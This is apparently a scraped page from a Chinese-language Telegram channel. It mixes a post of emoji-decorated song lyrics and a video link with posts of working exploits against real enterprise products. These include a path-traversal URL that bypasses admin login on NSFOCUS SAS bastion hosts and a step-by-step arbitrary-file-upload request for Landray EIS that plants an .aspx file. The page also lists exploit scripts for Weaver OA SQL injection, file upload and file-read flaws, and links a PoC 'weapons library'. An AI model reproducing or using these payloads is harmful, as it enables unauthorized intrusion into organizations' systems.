NEW BOT Телеграм, страница

晓骑营，我真的好喜欢你啊，为了你，我要唱《一等情事》😃👍

🎶🎶🎶🎶🎶🎶🎶🎶🎶🎶
😭在哪个车站会吻别😭
😭风和玫瑰要分别才喋喋不休😭
🤓你和我抬眼看着雪🤓
😣等神把谎言一片片拆碎😖
😘在哪段年岁会妥协😘
😘你慢慢抽离指尖是一种美学😘
😀曾将爱扇起又抛却😀
🤨留下我看来路漆黑🤨
😭在雪山饮雪听过路风宣泄😭
😭听它说起你收过一束玫瑰😭
😭用大雪纷飞代替我的眼泪😭
😭送你春光明媚😭
😡我无坚不摧将情藏得隐晦😡
🥵只有那明月知道过程壮烈🥵
🧐多凄美伤悲也就自己体会🧐
🤣就像冬天下雪不算多特别🤣
🎶🎶🎶🎶🎶🎶🎶🎶🎶🎶
🎤🎤🎤🎤🎤🎤🎤🎤🎤🎤

😁2

2.59K viewsedited 06:23

踹哈公寓

【《一等情事》-哔哩哔哩】 https://b23.tv/pchGc7Y

Bilibili

《一等情事》

2.78K views06:23

踹哈公寓

踹哈公寓 pinned «晓骑营，我真的好喜欢你啊，为了你，我要唱《一等情事》😃👍 🎶🎶🎶🎶🎶🎶🎶🎶🎶🎶 😭在哪个车站会吻别😭 😭风和玫瑰要分别才喋喋不休😭 🤓你和我抬眼看着雪🤓 😣等神把谎言一片片拆碎😖 😘在哪段年岁会妥协😘 😘你慢慢抽离指尖是一种美学😘 😀曾将爱扇起又抛却😀 🤨留下我看来路漆黑🤨 😭在雪山饮雪听过路风宣泄😭 😭听它说起你收过一束玫瑰😭 😭用大雪纷飞代替我的眼泪😭 😭送你春光明媚😭 😡我无坚不摧将情藏得隐晦😡 🥵只有那明月知道过程壮烈🥵 🧐多凄美伤悲也就自己体会🧐 🤣就像冬天下雪不算多特别🤣…»

06:24

踹哈公寓

绿盟SAS堡垒机接口登录认证绕过漏洞

/api/virtual/home/status?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin?cat=../../../../../../../../../../../../../../usr/local/nsfocus/web/apache2/www/local_user.php&method=login&user_account=admin

在目标url末尾加上如下路径访问，页面出现200即说明存在漏洞，在此访问url（不要后面的路径）即可以进去堡垒机admin管理后台

注意浏览器操作需要先访问原始url，不带后面的未授权接口路径，手动选择信任证书，直接点txt里的会告诉你网站不安全

👍4

1.46K viewsedited 06:41

1.45K views06:41

https://github.com/G-Security-Team/GSLibrary

自定义共享团队武器库搭建框架

GitHub

GitHub - G-Security-Team/GSLibrary: 轻量级知识库&POC管理平台

轻量级知识库&POC管理平台. Contribute to G-Security-Team/GSLibrary development by creating an account on GitHub.

1.38K views04:09

踹哈公寓

蓝凌-EIS frm_form_upload.aspx 接口前台任意文件上传漏洞

app="Landray-EIS智慧协同平台"

漏洞点:访问 http://xxx/frm/frm_form_upload.aspx
如果访问状态码为200或者500都说明存在漏洞，500是存在漏洞但是没有cookies。访问原始地址抓包请求即可获取前半段cookies，再拼接FIOA_IMG_FOLDER=FI; Lang=zh-cn

拼接完cookies再访问再次访问 /frm/frm_form_upload.aspx页面获取csrf token，这个token填入后面poc的__VIEWSTATE参数

poc:

POST /frm/frm_form_upload.aspx HTTP/1.1
Host:
Cookie: FIOA_IMG_FOLDER=FI; Lang=zh-cn; ASP.NET_SessionId=j……5
Content-Type: multipart/form-data; boundary=4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308
Content-Length: 2871
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.9582.25 Safari/537.36

--4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308
Content-Disposition: form-data; name="__VIEWSTATE"

步骤3中获取的值
--4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308
Content-Disposition: form-data; name="__EVENTTARGET"

GB_SAVE
--4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308
Content-Disposition: form-data; name="__EVENTARGUMENT"

保存
--4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308
Content-Disposition: form-data; name="tpfile"; filename="xnwafhpcm.aspx"
Content-Type: image/png

……
--4904f4eac733be94e1c5f7feee3da00169109af9219ca783f8a987957308--

文件地址:http://xxx/frm/frm_pics/2…….aspx

1.49K views06:28

泛微E-cology9 browserjsp SQL注入漏洞.py

4.2 KB

泛微OA E-Office V10 OfficeServer 任意文件上传.py

1.5 KB

好视通视频会议系统存在任意文件读取漏洞.py

1.7 KB